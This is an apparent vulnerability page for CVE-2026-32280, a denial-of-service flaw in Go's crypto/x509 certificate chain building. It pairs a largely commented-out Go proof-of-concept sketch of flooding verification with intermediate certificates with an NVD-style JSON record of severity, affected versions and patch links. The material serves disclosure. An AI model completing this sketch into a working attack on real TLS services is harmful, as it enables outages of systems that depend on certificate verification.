CVE-2026-32280

package main import ( "crypto/rand" "crypto/x509" "crypto/x509/pkix" "encoding/pem" "math/big" "time" ) // PoC for CVE-2026-32280 // This demonstrates how passing a large number of intermediate certificates // can cause a denial of service during verification. func main() { // 1. Create a self-signed root CA rootTemplate := &x509.Certificate{ SerialNumber: big.NewInt(1), Subject: pkix.Name{CommonName: "Root CA"}, NotBefore: time.Now(), NotAfter: time.Now().AddDate(10, 0, 0), IsCA: true, KeyUsage: x509.KeyUsageCertSign, } // Assume rootKey is generated here... // rootCertBytes, _ := x509.CreateCertificate(rand.Reader, rootTemplate, rootTemplate, &rootKey.PublicKey, rootKey) // 2. Create a pool and simulate flooding it with intermediate certs pool := x509.NewCertPool() // In an exploit scenario, an attacker generates thousands of valid certs for i := 0; i < 10000; i++ { // Dummy cert generation for illustration // cert := &x509.Certificate{...} // certBytes, _ := x509.CreateCertificate(...) // pool.AddCert(cert) } // 3. Attempt to verify a leaf cert with the flooded pool opts := x509.VerifyOptions{ Roots: pool, Intermediates: pool, // Passing the huge list here triggers the DoS } // 4. The following call would hang or consume 100% CPU // _, err := leafCert.Verify(opts) // if err != nil { // panic(err) // } }

{"cve": {"id": "CVE-2026-32280", "sourceIdentifier": "[email protected]", "published": "2026-04-08T02:16:03.247", "lastModified": "2026-04-16T19:16:42.180", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "During chain building, the amount of work that is done is not correctly limited when a large number of intermediate certificates are passed in VerifyOptions.Intermediates, which can lead to a denial of service. This affects both direct users of crypto/x509 and users of crypto/tls."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:golang:go:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.25.9", "matchCriteriaId": "C6C9C072-9817-402D-877F-F83584B07017"}, {"vulnerable": true, "criteria": "cpe:2.3:a:golang:go:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.26.0", "versionEndExcluding": "1.26.2", "matchCriteriaId": "39FE9BAF-55E9-43AA-B14E-239E7EF1D65D"}]}]}], "references": [{"url": "https://go.dev/cl/758320", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://go.dev/issue/78282", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://groups.google.com/g/golang-announce/c/0uYbvbPZRWU", "source": "[email protected]", "tags": ["Release Notes", "Mailing List"]}, {"url": "https://pkg.go.dev/vuln/GO-2026-4947", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}